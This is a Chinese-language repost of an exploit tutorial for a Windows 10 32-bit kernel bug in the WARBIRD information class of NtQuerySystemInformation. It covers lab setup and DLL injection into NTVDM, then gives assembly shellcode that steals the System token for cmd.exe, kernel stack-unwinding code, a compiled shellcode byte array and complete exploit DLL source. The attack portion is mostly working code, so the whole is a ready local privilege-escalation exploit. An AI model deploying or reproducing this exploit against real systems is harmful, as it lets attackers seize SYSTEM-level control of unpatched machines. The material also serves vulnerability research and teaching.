安全路透社
当前位置:安全路透社 > 网络转载 > 正文

内核漏洞利用:通过WARBIRD在Windows 10上提升权限

在这篇文章中,我想谈一谈通过基于Windows内核的exploit来提升权限。之所以没有使用像HackSys Extreme Vulnerable Windows Driver这样的东西,是因为想做点不同的事情。恰逢Google Project Zero近期公布了漏洞,由于mjurczyk把漏洞进行了记录,所以感觉便于理解。该漏洞还被Microsoft标记为“Wont-Fix”,意思就是32位的Windows 10 Creator版本仍然存在漏洞。

漏洞概览

根据披露出的消息,我们可以了解到这个漏洞影响了32位Windows 10 Creators版本的更新。这个漏洞的存在是由于一个新的信息类“WARBIRD”被添加到NtQuerySystemInformation中,但是这个类在32位Windows 10上被错误处理了。

当触发漏洞时,内核指令指针被设置为NULL,在现代操作系统中,内存地址0h通常被限制以避免这些类型的漏洞被利用。然而谷歌已经确认,在Windows上启用了16位支持,特别是通过NTVDM使用NULL地址来支持16位程序执行的情况下,漏洞实际上是可利用的。

在编写exploit之前,我们需要先搭建环境。

搭建实验环境

为了能搭建实验环境,我们需要一些虚拟机:

Windows 10 Creators Update x86 – 这是靶机

带有WinDBG的Windows系统 – 这个供调试使用

在靶机上,我们需要使用以下命令启用16位支持:

FONDUE.exe /enable-feature:NTVDM

我们还需要启用内核调试,这可以通过以下命令来完成:

bcdedit /debug on
bcdedit /dbgsettings NET HOSTIP:<WINDBG_HOST> PORT:50000

在执行之后,你会获得一个WinDBG用来在启动时建立主机连接的密钥。在我们的调试目的的主机中,我们需要启动WinDBG,并通过“File -> Kernel Debug”设置我们的内核调试会话:

windbg_kernel-1.png

重新启动靶机后,在WinDBG中会打开内核调试会话,并且会在利用过程中更容易地探索内核状态:

windbg_established.png

完成之后,我们就移步到exploit使用的重要概念–进程注入

进程注入

如果参考所公开的信息,那么将看到以下内容:

如果我们创建一个16位程序(如debug.exe),并将利用代码注入ntvdm,那么就可以防止系统在尝试写入nt!WbAddLookupEntryEx中的地址0时立即崩溃。

了解这个对于利用来说是非常重要的,我们需要理解进程注入是如何运作的,以及如何使用这种技术让NTVDM在其地址空间执行我们的代码,从而允许我们使用NULL映射页面。

Windows中的进程注入通常使用许多Win32 API(出于练习目的,我们会忽略其他技术,如Atom Bombing),具体为:

OpenProcess

VirtualAllocEx

WriteProcessMemory

CreateRemoteThread

你可以从API的描述中了解每个调用的作用,为了完整起见,还是在下面详细说明一下每个调用的作用:

OpenProcess:这个调用将从PID中检索一个Windows进程,从而允许我们对进程进一步地操作。

VirtualAllocEx:这个调用用于在目标进程中分配内存,为我们预留要添加自定义代码的空间,或者将参数传递给一个远程线程。

WriteProcessMemory:提供一个地址和一个进程句柄,这个调用可以允许我们将数据复制到远程进程地址空间。

CreateRemoteThread:这将允许我们在远程进程中创建一个新的线程,并指定执行的位置。

通过调用这些API,我们就可以将shellcode注入到NTVDM进程中,但是为了更简单一点,我们把一个DLL加载到NTVDM中。这样做有很多好处,DLL可以在Visual Studio这样的软件中创建,它还包含漏洞利用代码,且不必担心在运行时解析API的情况。

为了加载我们的DLL,我们将使用另一个Win32 API调用LoadLibrary,它可以获取DLL的路径并将其动态加载到进程地址空间中。 现在我们需要构建注入工具:

1.使用OpenProcess获取NTVDM进程的句柄。

2.使用VirtualAllocEx分配足够的空间以便复制我们的LoadLibrary参数值,这将成为用于利用的DLL的路径。

3.使用WriteProcessMemory将用于利用的DLL路径写入远程分配的内存。

4.最后,使用CreateRemoteThread生成一个线程并在远程进程中执行LoadLibrary调用,将复制的DLL路径地址作为参数传递。

如果我们用一个非常简单的DLL来运行,那么就可以看到NTVDM完美地调用了我们的代码:

dll_injection_test.png

构建exploit

目前我们可以将任意DLL加载到NTVDM进程中了,现在就需要开始考虑如何构建我们的exploit。一个建议提供了以下示例来触发此漏洞:

BYTE Buffer[8];
DWORD BytesReturned;
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
RtlCopyMemory(NULL, "\xcc", 1);
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);

如果我们将这段代码添加到一个DLL中,并将其注入到NTVDM进程中,我们发现WinDBG会触发以下断点:

interrupt_hit.png

在这里我们可以看到EIP是00000000h,中断已经成功地被触发了….真棒,现在就控制内核的代码执行了:)

接下来就需要撸起袖子开始编写shellcode,该shellcode将会被exploit执行。

编写Shellcode

对于这个exploit,我想要编写shellcode来尝试获取“cmd.exe”会话的SYSTEM权限。不幸的是,shellcode做类似这样的事情并不像“bind tcp”那样简单,但是这里有几个质量较好的教程,例如@ _samdb_优秀文档

在这篇文章中,我们会创建自己的shellcode。要做到这一点,我们需要了解一些内核结构。(在这方面,如果你还没有阅读我以前的文章,点击这里阅读)。

与之前的文章类似,我们编写的shellcode将负责找到与cmd.exe和System进程对应的EPROCESS结构,然后将access token从System复制到cmd.exe,从而将我们提升到SYSTEM用户。 首先,我们需要找到我们的cmd.exe进程的EPROCESS。 为此,我们将从fs寄存器开始,它在32位Windows内核中指向nt!_KPCR结构。

KPCR是“内核处理器控制区”,其拥有关于当前正在执行的处理器状态的信息,我们还可以用来获取进程和线程的信息和许多有用的字段。

为了得到WinDBG中的fs寄存器地址,可以使用下面的命令:

dg fs

然后会返回像下图这样的东西:

dg_fs.png

上面的例子中,在地址80dd7000h中有我们的nt!_KPCR结构。知道了这一点,我们就可以使用下方命令查看KPCR的内容:

dt nt!_KPCR 80dd7000

偏移120h(在_KPCR结构的末尾)是nt!_KPRCB结构,可以通过以下命令查看:

dt nt!_KPRCB 80dd7000+0x120

这样我们就可以看到KPRCB结构,看起来就像这样:

KPRCB.png

我们在这里找的是在偏移4h(或KPCR开始的124h)处找到的,并且是对应于当前正在执行的线程的nt!_KTHREAD结构。我们可以使用下方命令转储这些信息:

dt nt!_KTHREAD 0x87507940

在偏移地址150h处,我们找到一个指向Process的指针,它对应于我们正在寻找的EPROCESS结构:

process_ptr.png

现在就可以访问EPROCESS结构了,我们可以使用ActiveProcessLinks属性(实际上是一个指向LIST_ENTRY的指针,它是一个双向链表)来枚举当前正在运行的所有进程,直到找到cmd.exe进程和SYSTEM进程。

要找到“cmd.exe”,需要使用在偏移150h处找到的EPROCESS.ImageFileName属性:

eprocess_filename.png

对于System进程,我们知道通常PID为“4”,所以可以在偏移量为b4h的UniqueProcessId属性中找。

eprocess_pid.png

构建后,最终的shellcode如下所示:

pushad
  mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
  mov eax, [eax + 0x150]       ; Get 'Process' property from current thread
next_process:
  cmp dword [eax + 0x17c], 'cmd.'  ; Search for 'cmd.exe' process
  je found_cmd_process
  mov eax, [eax + 0xb8]            ; If not found, go to next process
  sub eax, 0xb8
  jmp next_process
found_cmd_process:
  mov ebx, eax                     ; Save our cmd.exe EPROCESS for later
find_system_process:
  cmp dword [eax + 0xb4], 0x00000004  ; Search for PID 4 (System process)
  je found_system_process
  mov eax, [eax + 0xb8]
  sub eax, 0xb8
  jmp find_system_process
found_system_process:
  mov ecx, [eax + 0xfc]            ; Take TOKEN from System process
  mov [ebx+0xfc], ecx              ; And copy it to the cmd.exe process
  popad

从内核返回

不幸的是,在处理内核漏洞利用时,如果不先确认操作系统是否处于安全状态,我们就不能让我们的利用返回。

当内核地址空间中的内存被破坏时,保持操作系统正常运行会变得非常困难,这个exploit也不例外。 简单地通过ret或ret 0xc指令将执行返回给内核将导致如下所示结果:

bugcheck.png

在这方面,能做的只有试图让内核恢复到安全状态以继续执行。

在这个exploit的情况下,我们需要了解为什么以及如何调用我们的函数。这个问题围绕着如下的结构:

00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18)
00000000 elem_size       dd ?
00000004 count           dd ?
00000008 capacity        dd ?
0000000C dataptr         dd ?
00000010 realloc_delta   dd ?
00000014 cmp_func        dd ?
00000018 _WARBIRD_EXTENSION ends

我们也知道,在shellcode被调用的地方,调用堆栈看起来像这样:

call_stack.png

如果我们反汇编shellcode之前的最后一个函数WbFindLookupEntry,就可以找到调用shellcode的位置:

vuln_function-1.png

在这里,dword ptr [ebx+14h]调用实际上是调用上述结构中的cmp_func属性,这意味着在进入shellcode时,ebx寄存器指向_WARBIRD_EXTENSION结构。

如果我们用WinDBG检查内存,会看到以下内容:

wb_struct-1.png

这表明,虽然struct memory的初始值是NULL,但偏移量为0×4的count属性被设置为1,导致内核试图对shellcode进行多次调用。为了避免这种情况,我们需要将count属性更新为0。

接下来,我们必须在没有任何异常的情况下从NtQuerySystemInformation调用中返回,在尝试清理_WARBIRD_EXTENSION结构并取得了一些成功,且经历许多蓝屏之后,我发现让内核恢复到正常状态的最快方法是简单地遍历每个堆栈帧,直到在ExpQuerySystemInformation继续执行。要做到这一点,我们需要检查每个执行的函数,直到执行结果被传递给shellcode,并将寄存器和内存值恢复到它们的原始值。

完成后,看起来像这样:

; ebx points to _WARBIRD_EXTENSION on entry to our shellcode
mov dword [ebx + 4], 0      ; Set 'count' to 0
add esp, 0xC                ; Remove parameters from stack
add esp, 4                  ; Remove return address from stack
; WbFindLookupEntry stack frame
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add esp, 4                  ; Remove return address from stack
add esp, 0xC                ; 3 parameters passed
; WbFindWarbirdProcess frame
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
add esp, 0x4                ; Remove return address from stack
add esp, 0x4                ; 1 parameter passed
; WbGetWarbirdProcess frame
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add esp, 0x4                ; Remove return address from stack
add esp, 0x4                ; 1 parameter passed
; WbDispatchOperation frame
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret                         ; Return execution to `ExpQuerySystemInformation`

如果在上面更新shellcode,并重新运行exploit,会出现错误检查:

APC_error.png

这是可以预料的,因为我们只是忽略了在内核中恢复APC执行的任何形式。 在这个例子中,我们可以简单地通过更新当前线程来修正这个错误:

mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
mov dword [eax + 0x13e], 0  ; Set 'SpecialAPCDisable' to 0, restoring APC's

如果在恢复APC后继续,我们发现会遇到了另一个异常:

Lock_error.png

这是由于我们的方法只是跳过内核释放锁获取的过程。为了让我们退出syscall,我们需要更新shellcode,通过将我们的线程值清零来从线程中删除锁定:

mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
mov dword [eax + 0x1e8], 0   ; NULL out 'LockEntries'
mov dword [eax + 0x1e8+4], 0
mov dword [eax + 0x1e8+8], 0
mov dword [eax + 0x1e8+12], 0
mov dword [eax + 0x1e8+16], 0
mov dword [eax + 0x1e8+20], 0
mov dword [eax + 0x1e8+24], 0
mov dword [eax + 0x1e8+28], 0
mov dword [eax + 0x1e8+2c], 0

最后一步

剩下要做的就是编译shellcode并把它转换成一个C buffer,这个C buffer将被我们注入的DLL使用。

为了编译shellcode,我通常会使用nasm,在这个例子中可以这样调用:

nasm shellcode.asm -o shellcode.bin -f bin

然后我们可以使用Radare2提取一个不错的C buffer:

radare2 -b 32 -c 'pc' ./shellcode.bin

shellcode-1.png

这里给了我们最终的exploit DLL的源代码:

 // Shellcode to be executed by exploit
    const char shellcode[256] = {
0xc7, 0x43, 0x04, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x0c,
0x00, 0x00, 0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f,
0x5e, 0x5b, 0x89, 0xec, 0x5d, 0x81, 0xc4, 0x0c, 0x00, 0x00,
0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5e, 0x5b, 0x5f,
0x89, 0xec, 0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81,
0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f, 0x5e, 0x5b, 0x89, 0xec,
0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x04,
0x00, 0x00, 0x00, 0x5f, 0x5f, 0x5e, 0x5b, 0x89, 0xec, 0x5d,
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0xc7, 0x80, 0x3e,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xe8,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xec,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf0,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf4,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf8,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xfc,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x81, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8,
0x00, 0x00, 0x00, 0xeb, 0xe7, 0x8b, 0x88, 0xfc, 0x00, 0x00,
0x00, 0x89, 0x8b, 0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    };
void exploit(void) {
BYTE Buffer[8];
DWORD BytesReturned;
    
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
    
// Copy our shellcode to the NULL page
RtlCopyMemory(NULL, shellcode, 256);
    
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
             )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
exploit();
break;
}
return TRUE;
}

完成后,运行一下试试:

视频

通过Windows 内核的提升权限利用到此就结束了。项目可以从Github上下载。【点击这里

*参考来源:xpnsec,FB小编Covfefe编译

未经允许不得转载:安全路透社 » 内核漏洞利用:通过WARBIRD在Windows 10上提升权限

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册